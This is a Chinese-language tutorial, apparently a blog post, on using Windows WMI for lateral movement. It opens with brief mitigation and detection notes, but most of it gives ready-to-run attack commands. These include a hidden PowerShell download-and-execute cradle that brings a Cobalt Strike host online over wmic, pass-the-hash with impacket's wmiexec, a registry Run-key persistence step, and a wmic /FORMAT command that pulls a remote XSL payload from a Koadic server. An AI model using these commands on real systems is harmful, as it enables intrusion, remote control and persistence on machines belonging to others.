WMI简介
Windows Management Instrumentation:是Windows管理功能,主要是为本地和远程访问Windows系统组件提供环境。依靠于Wmi服务进行本地或远程访问,同时需要SMB及RPCS(135端口)进行远程访问。攻击者通过WMI可以进行远程交互,用于后续渗透的信息收集或远程执行命令。
缓解措施
- 特权账号管理,防止系统账号和特权账号凭证相同
- 用户账号管理:默认只有管理员账号才可以通过WMI远程连接。可严格控制所有用户无法通过WMI远程连接
检测方式
- 网络监控:监控使用wmi远程连接
- 行为监控:监控命令行中带wmic
wmi语法
cmd > wmic [alias] [where clause] [verb cluause]
Useful [aliases] : wmic /? 查看所有可用别名
process : 进程相关信息
service : 服务
share : 共享通道
nicconfig : 网络适配器
startup : 用户登录后自启动项目
useraccount : 用户账号信息
qfe : 用于查看补丁
Example [whiere clauses]: wmic [alias] get /? 查看所有的属性,用于where判断
where name="nc.exe"
where (commandline like "%stuff")
where (name="cmd.exe" and parentprocessid!="[pid]")
Example [verb clauses]:
list [full|brief] : 列出全部或简要列出
get [attrib1,attrib2] :查看属性
call [method] : 查看所有方法 /?
delete
以上为基本的用法,接下来看几个实际常用的例子
1.查看所有用户名并且能找出隐藏账号
wmic useraccount get Name
2.使用wmic远程连接服务器并执行命令
wmic /node:192.168.160.172 /user:administrator /password:123456 process call create "calc.exe"
到160.172机器上可看到执行成功,但远程命令执行直接通过wmic手工操作没有回显
3. 使用wmic查看开机自启项目
wmic startup list [brief|full]
4.使用wmic 查看进程
wmic process get Name,ProcessId
具体属性值可自由选择
wmi常见利用
利用前提:1.受害者机器开启wmi服务 2.开启135端口
一:windows下利用wmic远程命令执行上线肉鸡
利用cobalt strike开启监听
通过web投递payload进行上线
生成命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.96.111:80/a'))"
通过wmic远程命令执行
wmic /node:192.168.160.172 /user:administrator /password:123456 process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.96.111:80/a'))\""
查看cs,成功上线肉鸡,并且为administrator权限
注:经测试,若用户非administrator组内,则会拒绝访问
二:linux下利用wmiexec远程命令执行
安装impacket包,具体安装过程不表,通过cs抓取密码hash
linux下切换到impacket/examples目录下执行
python wmiexec.py -hashes 8742e0f60036365c20400559ec829263:2f540cb5700d062249143040bcd94faa administrator@192.168.97.218 "whoami"
hashes组成 LM:NTLM
成功命令执行
三:利用wmic写注册表自启动项
net use \\192.168.160.172\admin$ /user:sojrs 123456 :建立ipc通道
xcopy cmstp.inf \\192.168.160.172\admin$\temp :将本机的cmstp.inf文件拷贝到远程ipc通道目录
net use \\192.168.160.172\admin$: 删除ipc通道
利用wmic修改注册表
wmic /NODE:192.168.160.172 /USER:sojrs /PASSWORD:123456 process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"test\" /t REG_SZ /d \"C:\windows\temp\cmstp.inf\" /f"
这里inf文件换成exe文件,通过开启自启动就可以正常上线
四:利用wmic Format解析直接远程上线
由于wmic可以解析xml结果的xsl文件名
wmic process get /?
所以利用这一点,通过koadic生成xslpayload,安装不表,参考链接里有
启动koadic,生成payload
./koadic
use stager/js/wmic
run
在攻击机执行
wmic /NODE:192.168.96.218 /USER:sojrs /PASSWORD:123456 process call create "wmic os get /FORMAT:"http://192.168.97.228:9996/CcLLP.xsl""
成功执行
并在koadic中成功弹出zombie,类似meterpreter
参考链接:
att&ck: https://attack.mitre.org/techniques/T1047/
impacket安装使用: https://blog.csdn.net/sojrs_sec/article/details/101041462
koadic 安装使用:https://cloud.tencent.com/developer/article/1197934